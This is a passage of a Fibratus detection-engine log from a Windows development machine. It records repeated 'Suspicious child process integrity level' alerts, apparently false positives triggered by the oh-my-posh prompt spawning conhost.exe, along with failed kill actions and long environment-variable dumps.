Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2378894 + Pid: 18040 + Tid: 15052 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:28.2600608 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 357f51000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c68982080, name➜ conhost.exe, pid➜ 16840, ppid➜ 18040, real_ppid➜ 18040, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:28.2600608 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1134/, rule.seq.link: 723953847331979264, technique.name: Access Token Manipulation, tactic.name: Privilege Escalation, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, rule.name: Suspicious child process integrity level, technique.id: T1134, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, tactic.id: TA0004, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 18040 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam" "--pswd=C:\Fibratus\redteam" "--execution-time=189.4431" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam" "--pswd=C:\Fibratus\redteam" "--execution-time=189.4431" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:42:29+01:00 level=info msg=executing kill action: pids=[18040 16840] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:42:29+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 18040: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:42:31+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2385181 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:30.4058265 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=97.5367" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 39cfe3000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c723020c0, name➜ oh-my-posh.exe, pid➜ 7476, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:30.4056882 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1134/, rule.seq.link: 1012184223483691008, rule.name: Suspicious child process integrity level, technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.id: T1134.002, tactic.id: TA0004, tactic.name: Privilege Escalation, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, subtechnique.name: Create Process with Token, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2385302 + Pid: 7476 + Tid: 18664 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:30.419024 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3f81a0000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c73746080, name➜ conhost.exe, pid➜ 2924, ppid➜ 7476, real_ppid➜ 7476, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:30.419024 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1012184223483691008, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, tactic.id: TA0004, tactic.name: Privilege Escalation, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, rule.name: Suspicious child process integrity level, tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.id: T1134, technique.name: Access Token Manipulation + + Pid: 7476 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=97.5367" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=97.5367" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:42:31+01:00 level=info msg=executing kill action: pids=[7476 2924] rule=Suspicious child process integrity level source=rules/engine.go:294 +time=2025-11-04T20:42:31+01:00 level=error msg=unable to execute rule action: fail to execute action for "Suspicious child process integrity level" rule: failed to kill pid 7476: Access is denied. source=rules/engine.go:252 +time=2025-11-04T20:42:44+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2445489 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:42:44.3224632 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=255" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=7973.4313" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 154efb000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c66c85080, name➜ oh-my-posh.exe, pid➜ 11608, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:42:44.3223851 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.id: T1134.002, rule.name: Suspicious child process integrity level, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, technique.id: T1134, technique.name: Access Token Manipulation, subtechnique.name: Create Process with Token, rule.seq.link: 1516587381749186560 + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 